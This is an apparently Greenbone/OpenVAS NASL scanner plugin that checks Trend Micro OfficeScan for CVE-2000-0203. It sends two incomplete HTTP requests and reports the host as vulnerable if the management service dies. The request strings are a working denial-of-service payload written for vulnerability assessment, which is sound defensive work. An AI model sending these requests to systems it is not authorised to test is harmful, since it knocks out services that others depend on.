Trend Micro OfficeScan Denial of service

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:trendmicro:officescan";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11059");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1013");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2000-0203");
  script_name("Trend Micro OfficeScan Denial of service");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_trend_micro_office_scan_detect_remote.nasl");
  script_mandatory_keys("TrendMicro/OfficeScan/Installed/Remote");

  script_tag(name:"solution", value:"Upgrade your software.");

  script_tag(name:"summary", value:"It was possible to kill the Trend Micro OfficeScan
  antivirus management service by sending an incomplete HTTP request.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

attack1 = string( "get /  \r\n" );
attack2 = string( "GET /  \r\n" );

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!get_app_location(port:port, cpe:CPE, nofork:TRUE))
  exit(0);

if( http_is_dead( port:port ) )
  exit( 0 );

res = http_send_recv( port:port, data:attack1 );

if( http_is_dead( port:port ) ) {
  security_message( port:port );
  exit( 0 );
}

res = http_send_recv( port:port, data:attack2 );

if( http_is_dead( port:port ) ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );